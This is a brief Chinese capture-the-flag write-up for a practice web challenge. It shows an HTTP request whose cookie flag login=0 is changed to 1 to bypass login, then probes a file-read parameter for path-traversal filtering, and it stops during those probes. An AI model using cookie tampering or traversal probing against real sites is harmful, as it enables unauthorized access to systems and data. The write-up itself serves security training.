网站要上线了，还没测试呢，怎么办？

经过测试在点击Mini-Zone的时候会有如下数据包。

GET /index.php HTTP/1.1
Host: 98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; pgv_pvi=7564516352; UM_distinctid=164bb2a2660862-02cd87a728541b-3a760e5d-1fa400-164bb2a2661ce3; browse=CFlbTxUYU0BQU1hEVQJTRFBZSkdeQFFYWVRFR1xRWEJTV1hPXEdLTgBZXkRdSVpOGllZTFRTW0VYW0VFWVxbRklSWE9cRFNHXUFTHFREUUdZVlMGVEBQT0tRWERWXFlCRFFbVV9EU0FcWVxCTEoU; pgv_si=s2308230144; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1532146712,1532226185,1532311636,1532421067; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1532421150; ci_session=19b555adbbafd0f07b5833ee0a823f476db15f2f; login=0
Connection: close

有一个login参数为0将其改为1即登录成功。

然后发现如下URL，直接可判断为文件读取。

http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=index&name=php

然后测试是否过滤了../或者./

http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=inde../x&name=php 访问正常（将../替换为空了）

http://4ffbe25b5aee42ae9c6644d535d42cb0d37c385304924a5c.game.ichunqiu.com/manages/admin.php?module=inde./x&name=php 访问错误